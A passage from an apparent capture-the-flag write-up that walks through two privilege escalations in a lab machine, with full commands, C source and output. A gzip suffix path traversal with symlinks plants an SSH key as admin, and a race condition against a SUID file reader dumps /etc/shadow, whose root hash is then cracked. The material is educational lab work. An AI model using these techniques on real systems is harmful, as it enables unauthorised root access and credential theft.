  -k, --keep        keep (don't delete) input files
  -l, --list        list compressed file contents
  -L, --license     display software license
  -n, --no-name     do not save or restore the original name and timestamp
  -N, --name        save or restore the original name and timestamp
  -q, --quiet       suppress all warnings
  -r, --recursive   operate recursively on directories
      --rsyncable   make rsync-friendly archive
  -S, --suffix=SUF  use suffix SUF on compressed files
      --synchronous synchronous output (safer if system crashes, but slower)
  -t, --test        test compressed file integrity
  -v, --verbose     verbose mode
  -V, --version     display version number
  -1, --fast        compress faster
  -9, --best        compress better

The only option with input is -S, --suffix=SUF. The description “use suffix SUF on compressed files” explains that it is the suffix instead of .gz to add to the path when compressing a file. The -k option to keep the original file is also handy for testing. Let’s play with these.

$ echo content > file
$ gzip -k -S suffix file
$ ls -la file*
-rw-r--r-- 1 www-data www-data  8 Oct 19 20:46 file
-rw-r--r-- 1 www-data www-data 33 Oct 19 20:46 filesuffix

$ gzip -k -S other/suffix file
gzip: fileother/suffix: No such file or directory

$ mkdir fileother
$ gzip -k file -S other/suffix
$ ls -l fileother
total 4
-rw-r--r-- 1 www-data www-data 33 Oct 19 20:46 suffix

Interesting! By providing slashes in the suffix, we can write into a directory. Let’s generate an authorized_keys file and try it with a directory traversal:

$ cd /tmp
$ ssh-keygen -f id_rsa
$ cp id_rsa.pub authorized_keys
$ mkdir authorized_keysX
$ ls -la
total 28
drwxrwxrwt 1 root     root     4096 Oct 19 13:29 .
drwxr-xr-x 1 root     root     4096 Oct 19 13:15 ..
-rw-r--r-- 1 www-data www-data  575 Oct 19 13:29 authorized_keys
drwxr-xr-x 2 www-data www-data 4096 Oct 19 13:29 authorized_keysX
-rw------- 1 www-data www-data 2610 Oct 19 13:29 id_rsa
-rw-r--r-- 1 www-data www-data  575 Oct 19 13:29 id_rsa.pub

$ sudo -u admin gzip -k authorized_keys -S 'X/../../tmp/test.gz'
$ sudo -u admin gzip -d /tmp/test.gz
$ cat test
ssh-rsa AAA...FoE= www-data@aa237a3bcf50

Looking promising… We successfully wrote our SSH key to /tmp/test. Now just change it to the admin’s ~/.ssh directory!

$ sudo -u admin gzip -k authorized_keys -S 'X/../../home/admin/.ssh/authorized_keys.gz'
gzip: invalid suffix 'X/../../home/admin/.ssh/authorized_keys.gz'

Suddenly, the command gives an invalid suffix error. The file cannot be written with this suffix. Checking the gzip source code, we can find out why:

#ifdef MAX_EXT_CHARS
#  define MAX_SUFFIX  MAX_EXT_CHARS
#else
#  define MAX_SUFFIX  30
#endif
...
if (z_len == 0 || z_len > MAX_SUFFIX) {
    fprintf(stderr, "%s: invalid suffix '%s'\n", program_name, z_suffix);
    do_exit(ERROR);
}

If our suffix is larger than 30 characters, it is blocked! The suffix 'X/../../home/admin/.ssh/authorized_keys.gz' is 42 characters long, way too much to fit into 30. We cannot exploit this with a path traversal.

Instead, we can combine this new knowledge with our previous idea of symlink. Instead of linking files, we can link the directories and have a much shorter suffix. By linking fileX to /home/admin/.ssh, and then gzipping file with the suffix X/authorized_keys.gz, the fileX/authorized_keys.gz path is accessed, and expanded to /home/admin/.ssh/authorized_keys.gz. This allows us to decompress it in the next step using -d:

$ cp id_rsa.pub file
$ ln -s /home/admin/.ssh fileX
$ sudo -u admin gzip -k file -S 'X/authorized_keys.gz'
$ sudo -u admin gzip -d /home/admin/.ssh/authorized_keys.gz

Extra note: One player found another clever method that uses the path traversal in multiple steps instead of symlinks. By first writing to /home/admin/.ss, they are able to continue from that point of the path with smaller suffixes, circumventing the length limit of 30:

$ cp id_rsa.pub authorized_keys
$ mkdir authorized_keysX
$ sudo -u admin gzip -k /tmp/authorized_keys -S 'X/../../home/admin/.ss.gz'
$ sudo -u admin gzip -d /home/admin/.ss.gz
$ sudo -u admin gzip /home/admin/.ss -S 'h/authorized_keys.gz'
$ sudo -u admin gzip -d /home/admin/.ssh/authorized_keys.gz

This has successfully written our SSH public key to /home/admin/.ssh/authorized_keys. That means we can now log in as admin through SSH:

$ ssh -i id_rsa admin@localhost
...
$ id
uid=1001(admin) gid=1001(admin) groups=1001(admin),100(users)
$ getflag
Congratulations!
admin's flag is: CTF{5t4Rt3D_fR0m_Th3_b0tT0m_n0w_W3r3_h3R3}

Using getflag we can obtain the second user flag: CTF{5t4Rt3D_fR0m_Th3_b0tT0m_n0w_W3r3_h3R3}

Privilege Escalation admin -> root using Race Condition

After becoming the admin user, we can now read the /opt/superreader directory. It contains a SUID binary and its C source code:

$ ls -l /opt/super-reader
total 28
-rwsr-x--- 1 root admin 21264 Oct  2 20:25 main
-rw-r----- 1 root admin  2061 Oct  2 20:25 main.c
void error(const char *msg)
{
    if (errno)
        fprintf(stderr, "\x1b[31m\x1b[1mError\x1b[0m: %s (%s)\n", msg, strerror(errno));
    else
        fprintf(stderr, "\x1b[31m\x1b[1mError\x1b[0m: %s\n", msg);
    exit(1);
}

void status(const char *msg)
{
    fprintf(stderr, "\x1b[96m\x1b[1m[~]\x1b[0m %s...\n", msg);
}

void read_file(char *buf, const char *path)
{
    FILE *file = fopen(path, "r");
    if (file == NULL)
    {
        error("failed to open file!");
    }
    fread(buf, 1, 0x100, file);
    fclose(file);
}

int main(int argc, char **argv, char **envp)
{
    if (argc < 2)
    {
        error("Usage: super-reader <file>");
    }

    setreuid(geteuid(), geteuid());
    setregid(getegid(), getegid());

    // Check path
    if (strncmp(argv[1], "/tmp/readerdata", 15) != 0)
    {
        error("path must start with `/tmp/readerdata`");
    }
    else if (strstr(argv[1], "..") != NULL)
    {
        error("path must not contain `..`");
    }

    // Check symlink
    status("Checking for symlink");
    struct stat stat_result;
    if (lstat(argv[1], &stat_result) == -1)
    {
        error("failed to get file status!");
    }
    else if ((stat_result.st_mode & 0xf000) == 0xa000)
    {
        error("file must not be a symlink!");
    }

    // Check file permissions
    status("Checking file permissions");
    if (stat(argv[1], &stat_result) == -1)
    {
        error("failed to get directory status!");
    }
    else if (stat_result.st_uid != 0)
    {
        error("file must be owned root!");
    }

    // Check content
    status("Checking content");
    char buf[0x100];
    read_file(buf, argv[1]);
    if (strstr(buf, "SAFE_TO_READ") == NULL)
    {
        error("file must contain `SAFE_TO_READ`!");
    }

    // Read file
    status("Reading file");
    read_file(buf, argv[1]);
    printf("\x1b[3m%s\x1b[0m", buf);

    return 0;
}

A SUID binary will execute as the user who owns the file. In this case, that will be root. It can perform actions as root, such as reading files that we normally cannot as admin.
We need to specify a path that starts with /tmp/readerdata. One of the files we find in there is secret.txt, so let’s try to read it:

$ ls -la /tmp/readerdata
total 12
drwxr-xr-x 1 root root 4096 Oct  2 20:25 .
drwxrwxrwt 1 root root 4096 Oct 20 09:49 ..
-rw------- 1 root root   82 Oct  2 20:25 secret.txt

$ super-reader /tmp/readerdata/secret.txt
[~] Checking for symlink...
[~] Checking file permissions...
[~] Checking content...
[~] Reading file...
SAFE_TO_READ - You gotta try harder than that, your secret lies in the shadows...

$ super-reader /etc/shadow
Error: path must start with `/tmp/readerdata`

It checks various things before opening and reading the file, to try and make sure you cannot read arbitrary files. First, lstat() is used to check if the path is a symlink. Then, it checks using stat() if the file is owned by root. Lastly, it reads the first 0x100 bytes and checks if “SAFE_TO_READ” is inside its contents, after which it is finally read again to be safely displayed.

All these checks make it difficult to read arbitrary files such as /etc/shadow as root. Looking at the permissions of /tmp/readerdata, we cannot even write in the directory as admin. How can we make it read our file?

The trick is in the exact check that is performed on the path. It must start with /tmp/readerdata, but /tmp/readerdataX would also be valid! We can write in /tmp, so we can put this file and run the reader over it:

$ cd /tmp
$ echo 'SAFE_TO_READ content' > readerdataX
$ super-reader /tmp/readerdataX
[~] Checking for symlink...
[~] Checking file permissions...
Error: file must be owned root!

We get a little further, but still hit the problem that the file must be owned by root. Looking at man 2 stat, we read that:

lstat() is identical to stat(), except that if pathname is a symbolic link, then it returns information about the link itself, not the file that the link refers to.

This means that the stat() call will follow the symlink, and return the owner of the file it points to. We could write a symlink to /etc/shadow which would pass this check, but it would be blocked by the symlink check that happens earlier.

The symlink check uses lstat() to check the properties of the file at the specified path. If /tmp/readerdataX is a symlink to /etc/shadow, it will detect that and block the attempt. But what will it do if not the file but the directory is a symlink? Let’s say we link /tmp/readerdataX to /etc, and then give the path /tmp/readerdataX/shadow, which should expand to /etc/shadow. Would it still be recognized as a symlink?

$ ln -s /etc readerdataX
$ super-reader /tmp/readerdataX/shadow
[~] Checking for symlink...
[~] Checking file permissions...
[~] Checking content...
Error: file must contain `SAFE_TO_READ`!

We are getting further! The symlink and permission checks pass, but the file still doesn’t contain SAFE_TO_READ. We also can’t add users to make it contain this text in /etc/shadow. How will we ever get past this check?

Enter: Race Conditions. The logic of the C program calls read_file() twice, first to search for SAFE_TO_READ and second to print its contents. If we swap out the file for another one during this process, we may fool it before it tries to read the actual file and we swap it back. The idea is as follows:

//! We passed all checks with `/tmp/readerdataX/shadow` pointing to `/etc/shadow`
//! Now move a regular directory named `readerdataX` in its place with a file called `shadow` that contains "SAFE_TO_READ"

// Check content
status("Checking content");
char buf[0x100];
read_file(buf, argv[1]);
if (strstr(buf, "SAFE_TO_READ") == NULL)
{
    error("file must contain `SAFE_TO_READ`!");
}

//! The content is verified and now we swap it back
//! `/tmp/readerdataX` points to `/etc/` again, and the code below will follow the symlink

// Read file
status("Reading file");
read_file(buf, argv[1]);
printf("\x1b[3m%s\x1b[0m", buf);

It is a tight window, but we can keep swapping these two states around and keep running the program until it works. One useful feature of Linux is the renameat2 syscall (see man renameat). It has a RENAME_EXCHANGE option to atomically exchange two paths (eg. swap them). Running this syscall in a loop between the symlink and directory, we can swap them incredibly fast.

Below is a simple program that takes two arguments to swap two paths as fast as possible.

#include <stdio.h>
#include <fcntl.h>
#include <unistd.h>
#include <sys/syscall.h>
#include <linux/fs.h>

int main(int argc, char *argv[]) {
    if (argc != 3) {
        printf("Usage: %s <file1> <file2>\n", argv[0]);
        return 1;
    }
    while (1) {
        syscall(SYS_renameat2, AT_FDCWD, argv[1], AT_FDCWD, argv[2], RENAME_EXCHANGE);
    }

    return 0;
}

// gcc swap.c -o swap -O3 -static

We then need to prepare the two states. First, one where a directory symlink makes the path point to a regular root-owned file (/etc/passwd), and then another directory that contains a SAFE_TO_READ file to swap to temporarily:

$ ln -s /etc readerdataX
$ mkdir readerdataX2
$ echo SAFE_TO_READ > readerdataX2/shadow

Now, in the first terminal, we will run the command until it contains the root: keyword from /etc/shadow:

while true; do super-reader /tmp/readerdataX/shadow; done

Next, we will start swapping the files rapidly with our swap binary:

./swap readerdataX readerdataX2

After starting to swap the files, we get all kinds of different error messages randomly, and sometimes it succeeds in reading /etc/shadow!

Error: file must contain `SAFE_TO_READ`!
[~] Checking for symlink...
[~] Checking file permissions...
[~] Checking content...
Error: file must contain `SAFE_TO_READ`!
[~] Checking for symlink...
[~] Checking file permissions...
Error: file must be owned root!
[~] Checking for symlink...
[~] Checking file permissions...
[~] Checking content...
[~] Reading file...
root:$1$IwHNPu0S$Q/qIYVc/w0fvQPmh4gOjw/:19998:0:99999:7:::
daemon:*:19992:0:99999:7:::
bin:*:19992:0:99999:7:::
sys:*:19992:0:99999:7:::
sync:*:19992:0:99999:7:::
games:*:19992:0:99999:7:::
man:*:19992:0:99999:7:::
lp:*:19992:0:99999:7:::
mail:*:19992:0:996[~] Checking for symlink...
[~] Checking file permissions...
[~] Checking content...
[~] Reading file...
SAFE_TO_READ

Extra note: There was another solution without symlinking directories. Because the stat() check also happens sequentially, we can Race Condition them just as well. It just takes a few more attempts.
Therefore, we can create a file that is a symlink to /etc/shadow, and another file that contains SAFE_TO_READ. If it just so happens that during the symlink check the symlink is read, during the owner check the symlink is followed, during the content check the safe file is read, and finally while displaying the content the symlink is followed, we achieve the same result:

$ cd /tmp
$ mkdir readerdataX && cd readerdataX
$ echo SAFE_TO_READ > a
$ ln -s /etc/shadow b
$ ls -l /tmp/readerdataX
total 4
-rw-r--r-- 1 admin admin 13 Oct 20 11:38 a
lrwxrwxrwx 1 admin admin 11 Oct 20 11:38 b -> /etc/shadow

$ /tmp/swap a b
$ while true; do super-reader /tmp/readerdataX/a; done 2>&1 | grep root:
root:$1$IwHNPu0S$Q/qIYVc/w0fvQPmh4gOjw/:19998:0:99999:7:::

We found the root password hash, and all that’s left is to try and crack it. Using John the Ripper, we can pass the rockyou.txt wordlist and quickly crack the MD5 password:

$ echo 'root:$1$IwHNPu0S$Q/qIYVc/w0fvQPmh4gOjw/:19998:0:99999:7:::' > shadow
$ john --wordlist=/list/rockyou.txt shadow
Warning: detected hash type "md5crypt", but the string is also recognized as "md5crypt-long"
Use the "--format=md5crypt-long" option to force loading these as that type instead
Using default input encoding: UTF-8
Loaded 1 password hash (md5crypt, crypt(3) $1$ (and variants) [MD5 512/512 AVX512BW 16x3])
Will run 16 OpenMP threads
Note: Passwords longer than 5 [worst case UTF-8] to 15 [ASCII] rejected
Press 'q' or Ctrl-C to abort, 'h' for help, almost any other key for status
Kangar00ter      (?)
1g 0:00:00:08 DONE (2024-10-20 13:26) 0.1206g/s 1299Kp/s 1299Kc/s 1299KC/s Katitho1988..Kalem100288
Use the "--show" option to display all of the cracked passwords reliably
Session completed.

It found the password is “Kangar00ter”! We can log in as root using su root and run getflag to get the last flag:

$ su root
Password: Kangar00ter
# id
uid=0(root) gid=0(root) groups=0(root)
# getflag
Congratulations!
root's flag is: CTF{1c_ur_133t_h4ck3r_1337_c0ngr4t5_0n_r00t}

We find our last flag: CTF{1c_ur_133t_h4ck3r_1337_c0ngr4t5_0n_r00t}

This was the finale of our capture the flag! Will you join us next time? Keep an eye on our socials!